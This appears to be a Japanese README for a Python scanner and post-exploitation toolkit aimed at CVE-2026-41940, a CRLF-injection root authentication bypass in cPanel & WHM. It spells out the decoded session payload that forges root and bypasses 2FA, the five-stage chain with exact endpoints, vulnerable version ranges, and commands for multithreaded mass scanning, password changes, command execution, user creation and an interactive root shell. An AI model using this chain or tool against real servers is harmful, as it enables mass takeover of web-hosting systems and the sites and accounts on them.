
CVE-2026-41940用の自動スキャナー&ポストエクスプロイテーションツールキット — cPanel & WHMのルート認証バイパス(session-file CRLF injection経由)
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-41940 のための自動スキャナー&ポストエクスプロイトツールキット — セッションファイルの CRLF インジェクションによる cPanel & WHM の root 認証バイパス。
CPANEL CVE EXPLOIT は、CVE-2026-41940 に脆弱な cPanel & WHM サーバーに対する認定セキュリティ評価のために設計された単一ファイルの Python ツールです。
この脆弱性により、リモートの認証されていない攻撃者が Authorization: Basic ヘッダーに CRLF インジェクションを仕掛けて WHM セッションファイルを汚染し、認証をバイパスして正規の資格情報なしにルートレベルの WHM アクセスを取得できます。
| プロパティ | 値 |
|---|---|
| CVE | CVE-2026-41940 |
| 深刻度 | クリティカル |
| CVSS | 10.0 |
| 攻撃ベクトル | ネットワーク / 認証不要 |
| 影響 | 完全な WHM ルートアクセス |
| デフォルトポート | 2087 (WHM) |
| 状況 | 野外での悪用が確認済み (2026年4月) |
脆弱なバージョンの cPanel & WHM では、Session.pm 内の saveSession() がセッションファイルをディスクに書き込んだ後に filter_sessiondata() を呼び出します。攻撃者は HTTP Authorization: Basic ヘッダーを介して CRLF(\r\n)文字を注入でき、それらがディスク上のセッションファイルに直接書き込まれ、サニタイズがバイパスされます。
このツールは、Base64 エンコードされたペイロードを使用します。これをデコードすると次のようになります。
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
これらのフィールドは、完全に認証されたルート WHM セッションをシミュレートし、2FA バイパス(tfa_verified=1)とルート権限フラグ(hasroot=1)を含みます。
cPanel は filter_sessiondata() を Session.pm のセッション書き込み操作の前に実行するように変更しました。
エクスプロイトチェーンは 5 段階(ステージ 0~4)で構成されます。
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| ステージ | エンドポイント | 目的 |
|---|---|---|
| 0 | /openid_connect/cpanelid | 307 リダイレクトによる正規ホスト名の自動検出 |
| 1 | /login/?login_only=1 | 間違った資格情報でプリオース whostmgrsession Cookie を取得 |
| 2 | / | CRLF で汚染された Authorization: Basic ヘッダーをセッションファイルに注入 |
| 3 | /scripts2/listaccts | do_token_denied ガジェットをトリガーし、セッションをキャッシュにフラッシュ |
| 4 | /{token}/json-api/version | ルートアクセスを確認 — HTTP 200 + バージョン JSON |
| 機能 | 説明 |
|---|---|
| 単一ターゲットスキャン | 1 つの WHM URL に対する完全なエクスプロイトチェーン |
| 大量スキャン | ファイルまたは標準入力からのマルチスレッドスキャン |
| バージョン検出 | パッチ適用済み/脆弱バージョンの自動比較 |
| ポストエクスプロイト API | パスワード変更、コマンド実行、アカウント一覧、ユーザー作成 |
| インタラクティブシェル | ファイル読み取りと API コマンドを備えた組み込み WHM ルートシェル |
| Selenium ログイン | Chrome/Firefox にセッション Cookie を自動注入 |
| 手動ブラウザフォールバック | 手動 WHM ログインのためのコンソール JavaScript スニペット |
| RCE チェック | バイパス後の迅速な id / uname -a 確認 |
| JSON エクスポート | すべての発見事項を構造化 JSON レポートに保存 |
| パイプライン対応 | httpx、subfinder、shodan、awk パイプラインで動作 |
| Stdlib のみ | コア機能に pip 依存関係は不要 |
| カラー出力 | リアルタイムのステージログと重大度インジケーター |
| ブランチ | パッチ適用バージョン | 状況 |
|---|---|---|
| 11.110.x | 11.110.0.97 | パッチ未満は脆弱 |
| 11.118.x | 11.118.0.63 | パッチ未満は脆弱 |
| 11.126.x | 11.126.0.54 | パッチ未満は脆弱 |
| 11.132.x | 11.132.0.29 | パッチ未満は脆弱 |
| 11.134.x | 11.134.0.20 | パッチ未満は脆弱 |
| 11.136.x | 11.136.0.5 | パッチ未満は脆弱 |
注: パッチが適用されたビルドを実行しているターゲットは、スキャン中に自動的にフラグが付けられ、スキップされます。
| パッケージ | 目的 |
|---|---|
selenium | ブラウザ自動ログイン (--selenium) |
| Chrome / Firefox | Selenium 用ブラウザエンジン |
pip install -r requirements.txt # オプション — selenium のみ
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
ビルド手順は不要です。直接実行します。
python3 test-cve.py --help
# 単一の WHM ターゲットをスキャン
python3 test-cve.py -u https://target.com:2087
# ポストエクスプロイトでスキャン:すべての cPanel アカウントを一覧表示
python3 test-cve.py -u https://target.com:2087 --action list
# ファイルから大量スキャン、20 スレッド、JSON レポートを保存
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| フラグ | 説明 |
|---|---|
-u, --url | 単一ターゲット URL(例: https://host:2087) |
-l, --list | URL を 1 行に 1 つずつ含むファイル |
--hostname | 正規の Host ヘッダーを上書き(デフォルトでは自動検出) |
| フラグ | デフォルト | 説明 |
|---|---|---|
-t, --threads | 10 | 同時スキャンスレッド数 |
--timeout | 15 | HTTP タイムアウト(秒) |
--rate-limit | 0 | ターゲット送信間の遅延(秒) |
| フラグ | 説明 |
|---|---|
-o, --output | 発見事項を JSON ファイルに保存 |
--no-color | ANSI カラー出力を無効化 |
ポストエクスプロイトフラグは単一ターゲットのみで動作します(
-u、大量スキャンでは不可)。